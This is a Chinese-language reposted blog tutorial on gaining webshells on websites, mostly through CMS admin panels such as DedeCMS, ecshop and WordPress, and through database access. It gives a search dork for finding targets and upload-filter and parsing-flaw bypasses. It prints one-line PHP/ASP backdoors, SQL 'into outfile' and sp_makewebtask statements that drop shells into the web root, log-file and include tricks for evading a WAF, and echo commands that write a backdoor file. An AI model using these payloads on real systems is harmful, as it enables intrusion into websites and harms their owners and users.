大綱
管理員權限拿shell
普通權限拿shell
常見cms拿shell
進后臺主要是可以對網站前臺的內容,樣式等做操作,要改腳本的內容的權限只有在webshell的權限下才可以(某些情況除外),
管理員權限拿shell
需要有管理員權限才可以拿shell
通常需要登錄后臺執行相關操作
直接上傳拿shell
國內多對上傳型別進行了限制,需要在進行繞過操作
示例:織夢后臺查找(改過之后的)
Google intext:powerd by DedeCMSV57_UTD8_SP2
DEDECMS V5.7
拿到織夢后臺,基本就拿到了shell
檔案式管理器->可修改網站腳本內容,也可以上傳腳本
若遇見檔案權限問題,可以修改檔案名為../往上級目錄翻
資料庫備份拿shell
網站上傳的檔案后綴名進行過濾,不允許上傳腳本型別檔案,如asp,php,jsp,aspx等,二網站具有資料庫備份的功能,這時我們可以將webshell格式先改為可上傳的格式,然后,將找到上傳后的檔案路徑通過資料庫備份,將檔案備份為腳本格式,
示例:南方資料 v7.0 良精通用企業網站管理系統
有時會將系統管理中的按鈕洗掉,但是功能是依舊存在的,(腳本檔案名,資料庫備份:Manage_backup.asp)可以在網站檢查中,將其他連接的地址改為資料庫備份的地址,閹割版的網站,常見于ecshop,wordpress,dedecms,aspcms,良精,帝國,南方,phpv9,科訊,可以本地下載完整的網站原始碼,自己搭建,對目標網站嘗試修改拼接,
突破上傳拿shell
本地js驗證上傳
服務器mime上傳
服務器白名單上傳
服務器黑名單上傳
服務器filepath上傳
雙檔案上傳
%00截斷上傳
上傳其他腳本型別拿shell
修改網站上傳型別配置拿shell
有的網站在網站上傳型別中限制了上傳腳本型別檔案,可以添加上傳檔案型別,如php,jsp,asp等拿shell
利用決議漏洞拿shell
1、IIS 5.x/6.0決議漏洞 目錄決議,分號決議,畸形檔案名決議
2、IIS 7.0/7.5,Nginx<8.03畸形檔案名決議漏洞,php檔案決議漏洞
3、Nginx<8.03空位元組代碼執行漏洞
4、Apache決議漏洞
利用編輯器漏洞拿shell
常見的編輯器有fckeditor,ewebeditor,cheditor
網站配置插馬拿shell
通過找到網站默認配置,將一句話插入到網站配置中,可以事先下載網站原始碼,查看過濾規則,防止插馬失敗("%><%eval request(“abc”)%><%’)根據網站原始碼進行符號匹配,
通過編輯模板拿shell
1、通過對網站的模板進行編輯,寫入一句話,然后生成腳本檔案拿shell
2、通過將木馬添加到壓縮檔案,把名字改為網站模板型別,上傳到網站服務器,拿shell
示例:ecshop
模板管理——庫專案管理——配送方式
寫入php腳本驗證:<?php phpinfo();?>
訪問/myship.php發現執行了phpinfo,之后就可以寫入一句話,菜刀連接,注意:有時在后面有”?>”時,不會成功,可以去掉再嘗試一下,
資料庫管理——SQL查詢——輸入”use mysql”讓報錯,爆出路徑——select “<?php phpinfo();?>” into outfile ‘地址\\x.php’
注意:Windows中,斜杠要用兩個反斜杠,Linux路徑用單個斜杠
資料庫管理——資料庫備份——自定義備份(配合IIS6.0決議漏洞)創建用戶(用戶里面寫入一句話)——放在ecs_users表中——備份——檔案名為u.asp;.sql
上傳插件拿shell
一些網站為了增加某些功能會在后臺添加一些插件來實作,我們可以把木馬添加到安裝的插件中上傳服務器拿shell,常見的有博客類網站dz論壇等
示例:WordPress-V4.2.2
搭建時要先創建資料庫
phpstudy——mysql——create database wpp;
插件——已安裝的插件——安裝插件——下載一個正常的插件,將木馬放在里面,一起上傳,安裝——找上傳目錄
資料庫執行拿shell
可通過資料庫執行命令匯出一句話到網站根目錄拿shell,access資料庫匯出一般需要利用決議漏洞xx.asp;.xml
sqlserver匯出:;exec%20sp_makewebtask%20%20%27c:\zhetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request(“cmd”))%>%27%27%27
mysql命令匯出shell
create TABLE study (cmd text Not NULL);
insert INTO study (cmd) VALUES(‘<?php eval($_POST[cmd])?>’);
select cmd from study into outfile ‘D:/php/www/htdocs/test/seven.php’;
drop TABLE IF EXISTS study;
或
use mysql;
create table x (packet text) type=MYISaM;
insert into x (packet) values(‘<pre><body><?php @system($_GET[“cmd”]);?></body></pre>’)
select x into outfile ‘d:\php\xx.php’
或
select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘c:/inetpub/wwwroot/mysql.php/1.php’
1.進入phpmyadmin
2.知道網站路徑
3.直接執行SQL陳述句匯入shell
注:有時可能出現不允許直接導shell
解決方法:首頁——變數——general lag 編輯——ON——general log file 編輯 D:\phpstudy\www\ba.php——SQL——一句話用引號引起來——執行——報錯——生成日志,利用日志記錄生成shell
4.不知道路徑時——推理路徑
首頁——變數——mysql的集成環境路徑——apache的路徑也知道了——D:\phpstudy\Apache\conf\httpd.conf——找個資料庫——創建表:
create table a(a text);
開外鏈
load data infile “D:/phpstudy/Apache/conf/httpd.conf” into table a;
匯出SQL搜索documentroot
路徑推理
D:/phpstudy/Apache/conf/httpd.conf 組態檔的路徑,找網站根目錄
Apache
/usr/local/mysql
/usr/local/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
ngnix
/usr/local/nginx/conf/nginx.conf
phpmyadmin一般在網站根目錄下
當找不到組態檔時,可以讀大檔案,由于檔案太大會報錯,有可能會報出phpmyadmin的路徑,
檔案包含拿shell 多用于上傳大馬
先將webshell改為txt檔案上傳,然后上傳一個腳本檔案包含該txt檔案,可繞過waf拿shell
asp包含
1.<!--#include file=”123.jpg”-->
2.呼叫的檔案必須和被呼叫的檔案在同一目錄,否則找不到
3.如果找不到,用下面的陳述句
<--#include virtual=”檔案所在目錄/123.jpg”-->
php包含
<?php include(“123.jpg”)?>
命令執行拿shell
echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php
echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php
^<^%eval request(“abc”)%^>^ >c:\1.php
普通用戶前臺拿shell
0day拿shell
IIS寫權限拿shell
命令執行拿shell
通過注入漏洞拿shell
前臺用戶頭像上傳拿shell
strusts2拿shell
java反序列拿shell
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/175731.html
標籤:其他
